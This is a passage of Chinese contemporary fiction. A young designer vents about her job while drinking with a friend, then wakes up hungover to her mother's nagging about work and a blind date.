“谁吃毛豆用筷子啊,多不方便。”
来的路上许夭夭已经饥肠辘辘,闻到烤肉香更是垂涎三尺,“点肉了吗?不喝酒吗?”
忙于磕毛豆的姜辞晚不由得挑眉,来了兴致,“来了就要酒,又有大瓜?”
“我们单位那些破事。”
姜辞晚高涨的热情消退几分,”你们老实巴交的设计师能有什么好瓜,连我们公司那些边角料都够不上。”
但半小时后,两人开始破口大骂,上至院长董事长,下至外包供应商,骂完院里的骂甲方,里里外外骂了俩小时。
“你这个破工作不干也罢!要是需要我给你找律师,我有熟悉的,”脚边已经有四五个空酒瓶的姜辞晚依旧面不改色,四平八稳的撸串。
许夭夭就不一样了,面色绯红,眼神迷离,对着个炉子一直冒星星眼,但她脚边就一个空酒瓶,桌上的烧烤签子有二三十根。
望了一会儿跳动的火苗,许夭夭举起酒瓶突然嗷一嗓子,“不干了!老娘不伺候了!就算念星辰他跟我谈恋爱我都不干了!……”
这一声吼,把姜辞晚吓一哆嗦,“就一瓶啤酒你发什么疯!行行行别喝了,还有你啥时候开始追星了!不会是热搜效应,把你整的热血沸腾了吧?”
“我不追星!我从来不追……星,是……星追我……”许夭夭说完举起酒瓶把剩余的半瓶一口干了。
干完后她人就宕机了,只记得后面跟姜辞晚在马路上唱歌,还被遛狗的大爷喊太吵了,后来她觉得人家狗长得眉清目秀的,一直抱着不撒手。
再次有意识的时候已经是第二天早上了,她被老妈哐哐哐敲房门的声音震醒,窗帘没拉,阳光洒满床头,许夭夭一睁眼差点被强烈的日光浴刺瞎,她本能的拉了拉被子,人往下缩了缩。
这时先礼后兵的老妈已经直接开门进来了,“都几点了还不起,你不上班吗!”
窝在被子里的许夭夭闷声哼哼,“不上吧……”
拿着锅铲的老妈根本无视她的回答,“今天工作日,都八点多了赶紧起来上班迟到了!”说完打开窗户,房门大开,人出去了。
十分钟后,鼓包的被子一动未动。
推着吸尘器的老妈再次进来,“怎么还不起!”
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吸尘器嗡嗡的声音把房间里的平静彻底撕裂,许夭夭兀的从床上坐起来,双目惺忪,头发凌乱,带着宿醉的疲态。
“妈,我今天不上班,让我再睡会儿。”说完吭哧一声又倒下了。
“今天不是工作日吗?”
“请假了……”
“这刚放完假,你请假干什么?”
捂着被子的许夭夭闷不作声,没一会儿吸尘器嗡嗡声在屋里转动一圈后,由近及远。
上午十点,肚子咕咕声不绝于耳,许夭夭终于从温暖的被窝里爬出来,天气虽和煦,但是开窗刮进来的风已经让她彻底清醒。
穿着单薄的睡衣,蓬头垢面的从卧室出来的时候,老妈正在沙发上整理老年社团的服装。许夭夭的爸妈生她生的晚,虽说她才二十几岁,妈妈却已经退休一年了。在讲台上站了一辈子的老妈,退休后迷上了户外活动,经常一群花枝招展的老阿姨在各大景点摆弄风姿。
许夭夭的相亲对象就是这么来的。
“妈,有饭吗?”
“厨房锅里自己盛。”
厨房里洗的增光瓦亮的锅碗瓢盆显得保温灯通红的电饭煲格外明显,一打开,香气扑鼻的腊肉饭瞬间充斥许夭夭五脏六腑。她们家早中晚饭从来都是看爸妈心情,经常早上大鱼大肉,晚上包子清汤面。
“妈今天的腊肉饭超常发挥呀,”见老妈一直跌着脸,许夭夭没话找话。
“那是你爸做的。”
“您妈的腊肉不错呀。”
“也是你爸买的。”
“爷爷今天好点了没?”许夭夭端着碗凑过来。
“问你爸。”
许夭夭坐到沙发边蹭了蹭低头忙活的老妈,“还生气呢钟大美女,我都没怪你早上打扰我睡觉,”说完狼吞虎咽扒拉几口饭。
“你说说你,这么大了一点都不让人省心!”
“我还不省心,我从小到大可都是‘别人家的孩子’,你跟我爸就偷着乐吧。”一碗腊肉饭不出一会儿功夫已经见底。
“人家小方多好一孩子……”
“妈!我就非得要结婚吗?”
“不结婚你想干嘛!上天吗!”
“那我问你,如果没有相亲对象,在你心目中我应该找一个什么样的男朋友?”
见许夭夭发问,母亲有些意难平的眼神逐渐柔和,眼底微微泛光,“我女儿自然是很优秀的,未来女婿那得是正直可靠,体贴知趣,懂得感恩尊重长辈,重视家庭有上进心,有物质保障有情绪价值,当然最重要的得对你好!”
“长相呢?”
“身材挺拔眉清目秀就可以吧。”
许夭夭边听边点头,“倒也合理,但方有知也不符合啊!”
“理想跟现实能比吗!你得认清现实!对了,今天怎么突然请假?”
“上了一年班我还不能休息休息了……”许夭夭眼神躲闪,立马端起碗就往厨房走去,她不想告诉父母工作的事情,他们总是杞人忧天,毕竟当初去设计院工作,妈妈还在四邻八舍吹过牛。
“既然你在家休息,正好晚上一起去吃个赔罪饭。”
“赔罪?跟谁?”
“就是给你介绍相亲对象的周姨。”